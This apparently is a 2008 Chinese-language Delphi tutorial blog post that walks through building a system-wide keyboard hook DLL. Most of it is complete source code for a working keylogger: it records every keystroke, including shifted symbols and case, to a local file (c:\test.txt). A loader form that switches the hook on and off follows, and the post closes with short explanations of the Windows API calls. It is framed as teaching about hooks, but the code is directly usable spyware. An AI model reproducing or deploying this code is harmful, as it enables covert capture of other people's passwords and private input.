先来写DLL
library Help;
uses
Windows,
Messages,
SysUtils;
var
KeyHook: HHook;
text1:string;
function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
_KeyPressMask = $80000000; //键盘掩码常量
var
i : byte;//键盘上的键值
pp:string;//记录的字符放入PP
vFilePath:string; //写入的文件路径
f:TextFile; //写入的文件
begin
if ((lParam and _KeyPressMask) = 0) then
{按下键与$80000000取and值,二进值是1000....这个表达式几乎永远成
立,因为只有($80000000and$80000000)才等于0}
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : {loggedkeys := loggedkeys +'[BACKSPACE]'}pp:=copy(pp,0,length(pp)-1) ;
// 9 : pp:=pp+' ';
// 13 : pp:=pp+#13#10; //Enter
// 17 : pp:=pp+' ';
// 27 : pp:=pp+' ';
32 :pp:=pp+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
// 33 : pp := pp + ' ';
// 34 : pp := pp + ' ';
// 35 : pp := pp + ' ';
// 36 : pp := pp + ' ';
37 : pp := pp + ' ';
// 38 : pp := pp + ' ';
39 : pp := pp + ' ';
// 40 : pp := pp + ' ';
// 44 : pp := pp + ' ';
// 45 : pp := pp + ' ';
// 46 : pp := pp + ' ';
145 : pp := pp + ' ';
48 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+')'
else pp:=pp+'0';
49 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'!'
else pp:=pp+'1';
50 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'@'
else pp:=pp+'2';
51 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'#'
else pp:=pp+'3';
52 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'$'
else pp:=pp+'4';
53 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'%'
else pp:=pp+'5';
54 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'^'
else pp:=pp+'6';
55 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'&'
else pp:=pp+'7';
56 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'*'
else pp:=pp+'8';
57 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'('
else pp:=pp+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then//大小写指示灯亮着
if GetKeyState(VK_SHIFT)<0 then //shift已经按下
pp:=pp+LowerCase(Chr(i)) //a..z //所以按出的字母是小写
else
pp:=pp+UpperCase(Chr(i)) //A..Z //反之大写
else
if GetKeyState(VK_SHIFT)<0 then
pp:=pp+UpperCase(Chr(i)) //A..Z
else
pp:=pp+LowerCase(Chr(i)); //a..z
end;
96..105 : pp:=pp + inttostr(i-96); //Numpad 0..9
106:pp:=pp+'*';
107:pp:=pp+'&';
109:pp:=pp+'-';
110:pp:=pp+'.';
111:pp:=pp+'/';
144 : pp:=pp+'[Num Lock]';
112..123: //F1-F12
pp:=pp+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+':'
else pp:=pp+';';
187 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'+'
else pp:=pp+'=';
188 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'<'
else pp:=pp+',';
189 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'_'
else pp:=pp+'-';
190 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'>'
else pp:=pp+'.';
191 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'?'
else pp:=pp+'/';
192 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'~'
else pp:=pp+'`';
219 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'{'
else pp:=pp+'[';
220 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'|'
else pp:=pp+'\';
221 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'}'
else pp:=pp+']';
222 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'"'
else pp:=pp+'''';
end;
text1:=text1+pp;
vFilePath:='c:\test.txt ';
AssignFile(f,vFilePath);
ReWrite(f);
writeln(f, text1);
closefile(f);
end;
end;
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;
procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
end;
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
end;
exports
HookOn,HookOff; //两个导出函数
begin
end.
按ctrl+f9纺译出help.dll
第二步是就调用,我们尽量用动态调用
在新建窗体上加上两个Button,用来安装和卸载
为了少放代码,我只放实现部分,上面的uses部分是系统默认的
implementation
{$R *.dfm}
type
tpro=procedure;stdcall;
var
had:thandle;
sethok,unhok:tpro;
procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('help.dll');
sethok:=getprocaddress(had,'HookOn');
unhok:=getprocaddress(had,'HookOff');
sethok;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
freelibrary(had);
end;
end.
上面API函数在上一节中讲过了
下面注明一下,在help.dll中有一些没见过的API函数,我查了些资料,尽可能说明白点
GetAsyncKeyState(i)=-32767
copy(pp,0,length(pp)-1)
GetKeyState(VK_SHIFT)<0
GetKeyState(VK_CAPITAL))=1
LowerCase(Chr(i)
UpperCase(Chr(i)
一.GetAsyncKeyState():判断函数调用时指定虚拟键的状态
-32767二进制:1000 0000 0000 0001
返回值 Long,自对GetAsyncKeyState函数的上一次调用以来,如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0
GetAsyncKeyState(i)=-32767整体意思已经假设所有按按过,最低位置1,并且最高位也为1说明某键正处于按下状态,才出来这个数1000 0000 0000 0001,或者说-32767
二.copy()举例子说下吧
const
s='i love delphi';
var
ss:string;
begin
ss:=copy (s,3,4);
end;// 这时ss的值是'love'
三.GetKeyState():检查虚拟键的DOWN状态
函数原型:SHORT GetKeyState(int nVirtKey);
GetKeyState(VK_SHIFT)<0 :shift被按下
GetKeyState(VK_CAPITAL))=1:caps lock,大小写指示灯亮了
写个判断按下还是没有按下大小锁定键的例子:
begin
if GetKeyState(VK_CAPITAL)=1 then
showmessage('按下了')
else
showmessage('没按下');
四. LowerCase(Chr(i):把字母转成小写
UpperCase(Chr(i):把字母转成大写
说这些也许是没用,只希望你了解得更深一些
posted on 2008-11-13 00:58
小叶子 阅读(2089)
评论(2) 编辑 收藏 引用 所属分类:
delphi使用钩子函数